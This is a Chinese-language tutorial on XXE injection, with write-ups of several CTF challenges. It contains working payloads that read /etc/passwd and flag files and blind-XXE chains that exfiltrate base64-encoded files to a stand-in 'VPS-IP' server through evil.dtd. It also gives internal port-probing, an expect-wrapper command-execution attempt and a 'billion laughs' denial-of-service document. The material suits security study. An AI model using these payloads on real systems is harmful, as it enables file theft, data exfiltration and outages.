對于XXE漏洞的理解以及在實戰中的利用
1.概念
XXE(XML External Entity Injection) 全稱為 XML 外部實體注入
2.語法
XML 指可擴展標記語言(EXtensible Markup Language) XML 是一種標記語言,很類似 HTML XML 被設計為傳輸和存儲數據,其焦點是數據的內容 XML 被設計用來結構化、存儲以及傳輸信息 XML 允許創作者定義自己的標簽和自己的文檔結構
3.結構
1.XML 文檔聲明,在文檔的第一行 2.XML 文檔類型定義,即DTD,XXE 漏洞所在的地方 3.XML 文檔元素
4.介紹一下XML文檔
<?xml version="1.0" encoding="utf-8" standalone="yes"?> <!--第一行是XML聲明--> <!--這是XML處理指令的例子。處理指令以<?開始,以?>結束--> <!--在<?后的第一個單詞是處理指令名,在本例中是xml--> <!--處理指令一定要頂格寫,前面不能有任何空白--> ? <students> <GREETING><!--開始標記--> Hello World<!--元素內容--> ? </GREETING><!--結束標記--> <student gender="male" isHandsome="true"> <id>001</id> <name>zhangsan</name> <address>Beijing</address> <score>50</score> </student> <student gender="female"> <id>002</id> <name>lisi</name> <address>北京</address> <score/><!--為空的簡寫形式--> </student> ? </students>
注:
文檔注釋用<!-- 和-->包圍,不允許嵌套,允許多行注釋。
XML里面的元素嚴格區分大小寫。
XML文檔必須有且只有一個根元素。(根元素是一個完全包括文檔中其他所有元素的元素。)
0x01:XML文檔說明
每一個XML文檔都以一個XML聲明開始,用以指明所用的XML的版本。
XML聲明有version 、encoding和standalone特性。
version特性表明這個文檔符合XML 1.0規范。
encoding 屬性指定了編碼格式,默認情況下是utf-8,這個屬性要放在屬性前面。
像standalone是XML文檔的屬性,位于等號左邊的是特姓名,而其值位于等號的右邊,并用雙引號或單引號括起來。
自定義的元素也可以有一個或多個屬性,其屬性值使用單引號或者雙引號括起來。
如果屬性值中有雙引號則使用單引號,反之亦然。
屬性的形式為:
屬性名= "屬性值",比如gender="male"。
多個屬性值之間用空格隔開(一個或多個空格都可以)。
在一個元素上,相同的屬性只能出現一次。
屬性值不能包含<, >, &。
0x02:實體
實體叫ENTITY,實體的作用是避免重復輸入。
在XML中,有5個預定義的實體引用

自定義實體語法:
<!DOCTYPE 根元素[ ? <!ENTITY 實體名 "實體內容"> ? ]> ? 引用已定義的實體: ? &實體名;
0x03:處理指令PI
處理指令用于XML解析器傳遞信息到應用程序。
語法:<?目標 指令?>
PI必須以一個叫做目標的標識符開頭,這個標識符遵從如同元素和屬性一樣的規則,目標是指令所指向的應用的名稱,指令是傳遞給應用程序的信息。
0x04:CDATA節
用于把整段文本解釋為純字符數據而不是標記的情況。
包含大量的<、>、&、或者"字符。CDATA節中的所有字符都會被當做元素字符數據的常量部分,而不是XML標記。
語法:
<![CDATA[ ? ...... ? ]]>
可以輸入任意字符(除]]外),不能嵌套。
<?xml version="1.0" encoding="utf-8"?> <root> <![CDATA[ ? <hello> <world> ? 這里放任何內容都是合法的 ]]> ? <subRoot> </subRoot> </root>
0x05:PCDATA節
PCDATA表示已解析的字符數據。
PCDATA的意思是被解析的字符數據(parsed character data)。可以把字符數據想象為 XML 元素的開始標簽與結束標簽之間的文本。PCDATA是會被解析器解析的文本。這些文本將被解析器檢查實體以及標記。文本中的標簽會被當作標記來處理,而實體會被展開。但是,被解析的字符數據不應當包含任何& < >字符;需要使用& < >實體來分別替換它們。
5.什么是DTD
DTD是XML文檔的一個格式規范
exp:
<?xml version="1.0"?>//這一行是 XML 文檔定義 <!DOCTYPE message [ <!ELEMENT message (receiver ,sender ,header ,msg)> <!ELEMENT receiver (#PCDATA)> <!ELEMENT sender (#PCDATA)> <!ELEMENT header (#PCDATA)> <!ELEMENT msg (#PCDATA)> <!DOCTYPE message [ #這個就是定義了一個根元素message <!ELEMENT message (receiver ,sender ,header ,msg)> <!ELEMENT receiver (#PCDATA)> <!ELEMENT sender (#PCDATA)> <!ELEMENT header (#PCDATA)> <!ELEMENT msg (#PCDATA)> #這里就是為根元素message定義了4個子元素,receiver,sender,header,msg,然后這4個元素必須要出現而且要按照順序
6.DTD的三種應用形式:
1.內部DTD文檔
<!DOCTYPE 根元素[定義內容]> exp: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE data [ <!ELEMENT data (aaa,bbb,ccc)> <!ELEMENT aaa (#PCDATA)> <!ELEMENT bbb (#PCDATA)> <!ELEMENT ccc (#PCDATA)> ]>
2.外部DTD文檔
<!DOCTYPE 根元素 SYSTEM "DTD文件路徑"> exp:外部的DTD文檔 <?xml version="1.0" encoding="UTF-8"?> <!ELEMENT data (aaa, bbb, ccc)> <!ELEMENT aaa (#PCDATA)> <!ELEMENT bbb (#PCDATA)> <!ELEMENT ccc (#PCDATA)> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE data SYSTEM "data.dtd"> <data> <aaa>1<aaa> <bbb>2<bbb> <ccc>3<ccc> </data>
3.內外部DTD文檔結合
<!DOCTYPE 根元素 SYSTEM "DTD文件路徑" [定義內容]> exp: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE data SYSTEM "data.dtd" [ <?xml version="1.0" encoding="UTF-8"?> <!ELEMENT data (aaa, bbb, ccc)> <!ELEMENT aaa (#PCDATA)> <!ELEMENT bbb (#PCDATA)> <!ELEMENT ccc (#PCDATA)> ]>
7.DTD元素

8.DTD實體
內部實體
<!ENTITY 實體名稱 "實體的值">
一個實體由三部分構成:&符號, 一個實體名稱, 以及一個分號(;)
exp: <!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY xxe "hello">]> <foo>&xxe;</foo> 這里定義的實體是xxe,實體的值是hello
外部實體
<!ENTITY 實體名稱 SYSTEM "URL">
XML中對數據的引用稱為實體,實體中有一類叫外部實體,用來引入外部資源,有SYSTEM和PUBLIC兩個關鍵字,表示實體來自本地計算機還是公共計算機,外部實體的引用可以利用如下協議
file:///path/to/file.ext http://url/file.ext php://filter/read=convert.base64-encode/resource=conf.php

參數實體
<!ENTITY %實體名稱 "值"> <!ENTITY %實體名稱 SYSTEM "URL"> exp: <!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" > %xxe;]> <foo>&evil;</foo> 外部evil.dtd的內容 <!ENTITY evil SYSTEM “file:///c:/windows/win.ini” >
公共實體
<!ENTITY 實體名稱 PUBLIC "public_ID" "URI">
9.利用XXE攻擊

讀取任意文件
有回顯
我們結合具體題目來分析。
例題:
1.picoctf2023 SOAP
題目提示我們要看系統配置文件/etc/passwd
有三個按鈕,都點了一下沒有東西
看一下源碼,源碼有一個xml的js文件看一下

window.contentType = 'application/xml';
function payload(data) {
var xml = '<?xml version="1.0" encoding="UTF-8"?>';
xml += '<data>';
for(var pair of data.entries()) {
var key = pair[0];
var value = pair[1];
xml += '<' + key + '>' + value + '</' + key + '>';
}
xml += '</data>';
return xml;
}
這里有一個XML文檔說明
以及說明了XML的根元素為data
抓一下包看一下

這里POST了一個ID的變量,我這里猜測ID就是key(題目的DTD感覺缺失了一些東西)
構造我們的payload
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE data [ <!ENTITY xxe SYSTEM "file:///etc/passwd" ]> <data> <ID> 2&xxe; </ID> </data>
發現無回顯,繼續檢查一下,發現我們這里的Content-Type為application/x-www-form-urlencoded,這就是問題所在
參考Content-Type 詳解_contenttype_leoss.H的博客-CSDN博客
改為application/xml,發現成功得到flag

2.[NCTF 2019]Fake XML cookbook
隨便測試一下,發現通過報錯信息回顯

查看一下源碼
function doLogin(){
var username = $("#username").val();
var password = $("#password").val();
if(username == "" || password == ""){
alert("Please enter the username and password!");
return;
}
var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
$.ajax({
type: "POST",
url: "doLogin.php",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " login fail!");
}else if(code == "1"){
$(".msg").text(msg + " login success!");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}
這里給出了我們DTD,我們根據DTD進行構造payload即可
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE data [ #根據給出的DTD,可知根元素是data <!ENTITY xxe SYSTEM "file:///etc/passwd"> #嘗試讀取系統配置文件 ]> <user> <username>2&xxe;</username> <password>11</password> </user>
成功回顯

嘗試直接讀取flag
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE data [ <!ENTITY xxe SYSTEM "file:///flag"> ]> <user> <username>2&xxe;</username> <password>11</password> </user>
3.[NCTF 2019]True XML cookbook
跟上一道題的源碼一樣,嘗試沿用上題的payload發現不能直接獲取flag了,嘗試利用XXE進行RCE,發現應該是php沒有裝有expect擴展,無法實現RCE
就感覺有可能是內網探測
利用/proc/net/arp讀取到內網的另一臺服務器的IP地址172.18.0.1
嘗試爆破端口,我爆破到10000多也沒有什么信息,
之后查看內網存活主機/etc/hosts

發現有一臺存活主機
直接訪問發現不行,就利用BP爆破跑內網存活主機,跑出flag

無回顯
也就是我們的blind xxe,一般沒有echo,return這些函數,返回不了數值
(需要在自己的VPS上配置上http服務,可以從公網訪問我們的dtd文件和xml文件)
方案一:
在自己的VPS上創建一個test.php
<?php
file_put_contents("test.txt", $_GET['file']) ;
?>
再創建一個index.php
<?php $xml=<<<EOF <?xml version="1.0"?> <!DOCTYPE ANY[ <!ENTITY % file SYSTEM "file:///C:/test.txt"> <!ENTITY % remote SYSTEM "http://VPS-IP/test.xml"> %remote; %all; %send; ]> EOF; $data = simplexml_load_string($xml) ; echo "<pre>" ; print_r($data) ; ?>
再創建一個test.xml
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://vps-ip/test.php?file=%file;'>">
當訪問http://vps-ip/index.php, 存在漏洞的服務器會讀出text.txt內容,發送給攻擊者服務器上的test.php,然后把讀取的數據保存到本地的test.txt中。
方案二
可以將文件內容發送到遠程服務器,然后讀取。
exp: <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE data [ <!ENTITY % file SYSTEM "file:///c://test/1.txt"> <!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml"> %dtd; %all; ]> <value>&send;</value>
然后在自己的VPS上創建一個evil.xml,內容為
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:88%file;'>">
用來獲取用戶的配置文件
方案三
可以使用外帶數據通道提取數據,先使用php://filter獲取目標文件的內容,然后將內容以http請求發送到接受數據的服務器(攻擊服務器)vps-ip.
exp: <?xml verstion="1.0" encoding="utf-8"?> <!DOCTYPE ANY [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./aaa.php"> # /etc/issue <!ENTITY % dtd SYSTEM "http://VPS-IP/evil.dtd"> %dtd; %send; ]>
evil.dtd的內容,內部的%號要進行實體編碼成%。下面是具體的代碼實現
<!ENTITY % all “<!ENTITY % send SYSTEM ‘http://VPS-IP/?%file;’>” > %all;
如果有報錯的話直接查看VPS的報錯信息能得到aaa.php的base64編碼后的結果
沒有的話可以查看VPS的日志信息,能看到經過base64編碼后的數據
方案四
其實跟方案四差不多,但是可以利用監聽VPS端口來獲取信息
方法是在自己的VPS上創建一個evil.dtd
exp: <!ENTITY % dtd "<!ENTITY % xxe SYSTEM 'http://VPS-IP:3333/%file;'> "> %dtd; %xxe;
之后再根據題目的要求,上傳一個payload
exp: <!DOCTYPE test [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> <!ENTITY % aaa SYSTEM "http://VPS-IP/evil.dtd"> %aaa; ]> <root>66666</root>
之后在自己的VPS上監聽3333端口就行
python -m http.server 3333 #前提是自己的VPS需要配置好http服務
命令執行
在php環境下,xml命令執行需要php裝有expect擴展,但該擴展默認沒有安裝,所以一般來說命令執行是比較難利用,但不排除有幸運的情況咯,這里就搬一下大師傅的代碼以供參考:
<?php $xml = <<<EOF <?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "except://ls"> ]> <x>&f;</x> EOF; $data = simplexml_load_string($xml); print_r($data); ?>
探測端口
適用于有回顯和blind xxe,是外部一般實體
exp: <?xml version="1.0"?> ? <!DOCTYPE ANY [ ? <!ENTITY contentSYSTEM "http://10.165.89.150:88">]> ? <name>&content;</name>
根據響應時間判斷:(看BP右下角的響應時間)
開放端口,響應時間為16millis
未開放端口,延遲反應1047millis
DOS攻擊
參考十億笑攻擊 - 維基百科 (wikipedia.org)
<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz>
XML解析器嘗試解析該文件時,由于DTD的定義指數級展開(即遞歸引用),舉個例子,這里定義了一個lol的實體,實體還有“lol”的字符串,然后定義了一個lol2的實體,里面有10個"lol"的字符串,依次遞推,一個lol3實體引用10個lol2實體,這樣的話可以一直向服務器傳輸文件,也就是形成了DOS攻擊,經過XML解析器解析后的內存占用會比其本身大的多。